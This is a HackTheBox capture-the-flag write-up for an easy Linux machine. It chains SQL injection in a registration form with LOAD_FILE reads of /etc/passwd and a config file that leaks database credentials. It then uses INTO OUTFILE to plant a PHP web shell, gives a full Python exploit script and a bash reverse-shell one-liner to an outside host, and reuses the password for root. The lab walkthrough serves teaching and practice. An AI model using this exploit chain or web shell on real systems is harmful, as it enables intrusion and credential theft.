Tags: #easy #SQLi #informationleakage #rce #linux #LFI #RFI
Platform: HackTheBox
Difficult: Easy
Creator: ippsec
To begin, we performed a port scan on the target machine using Nmap to identify the available services.
$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.11.116 -oG allPorts
Then, we run a more detailed scan to identify the services on the open ports.
$ nmap -Pn -sCV -p22,80,4566,8080 -n 10.10.11.116 -oN portScan
When accessing port 80, we discovered a registration system for a tournament.
To better understand its operation, we performed a registration test and intercepted it with BurpSuite.
The operations flow is as follows:
http://10.10.11.116/ including the username and a country./account.php, and sets a new cookie called user, containing a constant MD5 hash for all users.Considering the internal functioning of this page, it's presumed that when registering, the data's saved in a database. When accessing the account.php endpoint, the web server uses our user cookie to determine our identity, probably performing an SQL query similar to this:
SELECT username FROM users WHERE country = 'Argentina';
In this scenario, it's possible to attempt a basic SQL injection to obtain all users from all countries. To test the injection, I added a user named chemaalonso from Spain, in addition to the test and zaikoarg users from Argentina.
Request:
Response:
The response confirms the injection success and displays a list of all users.
To understand how the injection works, we analyze the modified SQL query that the server executes on the backend:
SELECT user FROM users WHERE country = 'noexistant-country' OR 1=1-- -';
Let's break down each part of the injected query:
'noexistant-country': This is simply a false value that won't match any country in the database. It's just a placeholder to start the injection.OR 1=1: This is the crucial part of the injection. The OR 1=1 clause is always true, meaning this condition will be met for all rows in the users table.-- -: This is a comment in SQL that causes the rest of the original query to be ignored. The -- indicates that everything following on that line is a comment and not executed as SQL code.So, putting it all together, the modified query looks for users where the country is false (non-existent) or where 1=1 is always true, returning all users from the users table.
We explored the database but didn't find any relevant information. However, we leveraged MySQL's capability to read files from the system, using the LOAD_FILE() function.
Request:
Response:
The execution is successful, and upon examining the /etc/passwd file, we noticed that only the root user has a bash shell, suggesting that we might be in a container.
We continued exploring the system files and found the file /var/www/html/config.php.
It contains the MySQL credentials uhc:uhc-9qual-global-pw.
Noticing that the LOAD_FILE() function was available, I got the idea to check if it was possible to write files through SQL injection using INTO OUTFILE.
As an initial test, I tried creating a file in the /tmp/ folder and then reading it using LOAD_FILE().
Now that we've successfully written files, we can attempt to execute commands using a basic PHP shell. In this case, I created a small Python script to simplify the whole process:
import sys
import requests
import signal
from urllib.parse import quote
# Change the URL here
url = "http://10.10.11.116"
def handler(signal, frame) -> None:
print("\t\n[+] Exiting...")
sys.exit(1)
def validate_url(url: str) -> bool:
try:
response = requests.get(url)
return response.status_code == 200
except requests.RequestException:
return False
def create_shell(url: str) -> str:
data = {
"username": "testttt",
"country": """pwned' UNION SELECT '<?php echo \\'<pre>\\' . shell_exec($_GET["cmd"]) . \\'</pre>\\' ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"""
}
response = requests.post(url, data=data, allow_redirects=False)
session_cookie = response.headers.get("Set-Cookie", "").split("=")[1]
requests.get(url + '/account.php', cookies={"user": session_cookie})
return session_cookie
def execute(url: str, cookie: str, cmd: str) -> None:
shell_url = url + '/shell.php?cmd=' + quote(cmd)
response = requests.get(shell_url, cookies={"user": cookie})
try:
output = response.text.split("<pre>")[1].split("</pre>")[0]
print(output)
except IndexError:
print("[X] Error: Unable to execute command")
def main() -> None:
# CTRL-C Handling
signal.signal(signal.SIGINT, handler)
if len(sys.argv) != 2:
print("Usage: python3 exploit.py {CMD}")
sys.exit(1)
cmd = sys.argv[1]
if not validate_url(url):
print("[X] Error: Invalid URL or unable to connect")
sys.exit(1)
session_cookie = create_shell(url)
execute(url, session_cookie, cmd)
if __name__ == '__main__':
main()
$ python3 exploit.py whoami
Now that we can execute commands remotely, let's get an interactive shell.
$ python3 exploit.py "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'"
If you recall, we had found some credentials in the web server configuration files.
We can try to use that password to authenticate ourselves as root.
We got it!